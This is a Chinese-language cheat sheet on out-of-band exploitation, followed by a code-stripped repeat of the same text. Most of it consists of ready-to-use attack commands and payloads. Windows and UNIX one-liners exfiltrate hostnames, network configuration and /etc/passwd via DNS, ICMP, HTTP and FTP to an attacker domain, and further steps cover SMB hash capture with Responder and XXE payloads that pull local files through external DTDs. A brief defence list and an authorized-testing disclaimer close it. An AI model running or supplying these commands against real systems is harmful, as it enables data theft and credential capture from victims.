Out of Band Exploitation (OOB) 利用技术速查表
字数 1283 2025-08-30 06:50:28

Out of Band Exploitation (OOB) 技术详解与实战指南

一、OOB技术概述

Out-Of-Band (OOB) 带外技术为攻击者提供了一种替代方式来确认和利用原本"盲注"的漏洞。在盲注漏洞中,攻击者无法在对漏洞请求的直接响应中获得漏洞的输出。OOB技术通过让易受攻击的实体生成出站TCP/UDP/ICMP请求,使攻击者能够窃取数据。

技术特点

  • 适用于盲注漏洞场景
  • 依赖出站防火墙规则
  • DNS是最可靠的选择(成功率高)
  • 需要攻击者搭建基础设施

二、基础设施搭建

先决条件

  1. 公共服务器:具有静态IP地址(推荐使用Google云平台GCP的VPS)
  2. 注册域名:需要能够将权限委托给自定义名称服务器

搭建步骤

  1. 在GCP创建Linux服务器并确保root权限
  2. 在域名注册商处配置DNS记录:
    • 添加NS记录指向子域
    • 为名称服务器添加A记录指向GCP服务器IP
  3. 使用tcpdump监控DNS查询:
    sudo tcpdump -n port 53
    

三、操作系统命令注入(OOB)

检测技术

通过让Web应用解析精心制作的DNS名称来检测OS代码注入漏洞:

Windows:

nslookup test.oob.dnsattacker.com
ping ping.oob.dnsattacker.com

UNIX:

host host.oob.dnsattacker.com
dig test.oob.dnsattacker.com

数据窃取技术

Windows环境

  1. Base64编码传输

    cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
    

    攻击者解码:

    echo "encoded output" | base64 -d
    
  2. HEX格式传输大文件

    cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"
    

    攻击者提取:

    echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
    

UNIX环境

  1. HEX格式传输

    var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com; done
    

    攻击者提取同Windows方法

  2. Base64编码传输(更高效)

    var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done
    

    攻击者提取:

    cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d
    

四、ICMP数据外传

Windows环境

cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);"

攻击者捕获:

sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap

提取:

echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p

UNIX环境

cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;done

攻击者捕获与提取方法同Windows

五、HTTP数据外传

Windows环境

cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"

若无PowerShell:

mshta !Final!

攻击者接收:

echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p

UNIX环境

wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000

或POST方式:

wget --post-data exfil='cat /etc/passwd' http://dnsattacker.com
wget --post-file trophy.php http://dnsattacker.com
cat /path/to/sensitive.txt | curl -F ":data=@-" http://dnsattacker.com/test.txt

攻击者提取:

echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p

六、SMB哈希窃取

Windows环境

net use h: \\dnsattacker.com\web

或带认证:

net use h: \\dnsattacker.com\web /user:{password} && copy {file.txt to Copy} h:\{file.txt}.txt

攻击者使用Responder捕获:

sudo ./Responder.py -I eth0

七、XXE漏洞利用

检测技术

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com">
<foo>&e1;</foo>

攻击者监控:

sudo tcpdump -n udp port 53

数据窃取技术

HTTP方式

攻击者准备DTD文件并启动HTTP服务器:

python -m SimpleHttpServer 9000

受害者payload:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

linux.dtd内容:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">

Windows系统使用:

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">

FTP方式

攻击者启动xxeftp服务器:

python xxeftp.py

受害者payload同HTTP方式,仅修改URL为:

<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>

SMB哈希窃取

攻击者运行Responder:

sudo ./Responder.py -I eth0

受害者payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >
]>
<foo>&xxe;</foo>

其他可能的XXE外传协议

http://oob.dnsattacker.com:port/%data
ftp://oob.dnsattacker.com:port/%data
gopher://oob.dnsattacker.com:port/%data
ldap://oob.dnsattacker.com:port
\\oob.dnsattacker.com\C$

八、技术限制与注意事项

  1. DNS限制

    • 仅能用于检测XXE漏洞
    • 数据外传效率较低
  2. ICMP限制

    • Windows需要PowerShell支持
    • 数据包大小受限
  3. SMB限制

    • 需要Responder等工具支持
    • 可能触发安全告警
  4. 通用建议

    • 优先使用DNS协议(成功率高)
    • 大文件传输使用分块编码
    • 敏感数据建议加密传输
    • 注意目标系统防火墙规则

九、防御建议

  1. 限制出站网络连接
  2. 监控异常DNS查询
  3. 过滤XML外部实体
  4. 禁用不必要的协议处理程序
  5. 实施严格的输入验证
  6. 监控ICMP异常流量
  7. 限制SMB协议的使用范围

本技术文档详细介绍了OOB技术的各种应用场景和实现方法,涵盖了从基础设施搭建到具体漏洞利用的全过程。实际使用时请遵守法律法规,仅用于授权测试目的。

Out of Band Exploitation (OOB) 技术详解与实战指南 一、OOB技术概述 Out-Of-Band (OOB) 带外技术为攻击者提供了一种替代方式来确认和利用原本"盲注"的漏洞。在盲注漏洞中,攻击者无法在对漏洞请求的直接响应中获得漏洞的输出。OOB技术通过让易受攻击的实体生成出站TCP/UDP/ICMP请求,使攻击者能够窃取数据。 技术特点 适用于盲注漏洞场景 依赖出站防火墙规则 DNS是最可靠的选择(成功率高) 需要攻击者搭建基础设施 二、基础设施搭建 先决条件 公共服务器 :具有静态IP地址(推荐使用Google云平台GCP的VPS) 注册域名 :需要能够将权限委托给自定义名称服务器 搭建步骤 在GCP创建Linux服务器并确保root权限 在域名注册商处配置DNS记录: 添加NS记录指向子域 为名称服务器添加A记录指向GCP服务器IP 使用tcpdump监控DNS查询: 三、操作系统命令注入(OOB) 检测技术 通过让Web应用解析精心制作的DNS名称来检测OS代码注入漏洞: Windows : UNIX : 数据窃取技术 Windows环境 Base64编码传输 : 攻击者解码: HEX格式传输大文件 : 攻击者提取: UNIX环境 HEX格式传输 : 攻击者提取同Windows方法 Base64编码传输(更高效) : 攻击者提取: 四、ICMP数据外传 Windows环境 攻击者捕获: 提取: UNIX环境 攻击者捕获与提取方法同Windows 五、HTTP数据外传 Windows环境 若无PowerShell: 攻击者接收: UNIX环境 或POST方式: 攻击者提取: 六、SMB哈希窃取 Windows环境 或带认证: 攻击者使用Responder捕获: 七、XXE漏洞利用 检测技术 攻击者监控: 数据窃取技术 HTTP方式 攻击者准备DTD文件并启动HTTP服务器: 受害者payload: linux.dtd内容: Windows系统使用: FTP方式 攻击者启动xxeftp服务器: 受害者payload同HTTP方式,仅修改URL为: SMB哈希窃取 攻击者运行Responder: 受害者payload: 其他可能的XXE外传协议 八、技术限制与注意事项 DNS限制 : 仅能用于检测XXE漏洞 数据外传效率较低 ICMP限制 : Windows需要PowerShell支持 数据包大小受限 SMB限制 : 需要Responder等工具支持 可能触发安全告警 通用建议 : 优先使用DNS协议(成功率高) 大文件传输使用分块编码 敏感数据建议加密传输 注意目标系统防火墙规则 九、防御建议 限制出站网络连接 监控异常DNS查询 过滤XML外部实体 禁用不必要的协议处理程序 实施严格的输入验证 监控ICMP异常流量 限制SMB协议的使用范围 本技术文档详细介绍了OOB技术的各种应用场景和实现方法,涵盖了从基础设施搭建到具体漏洞利用的全过程。实际使用时请遵守法律法规,仅用于授权测试目的。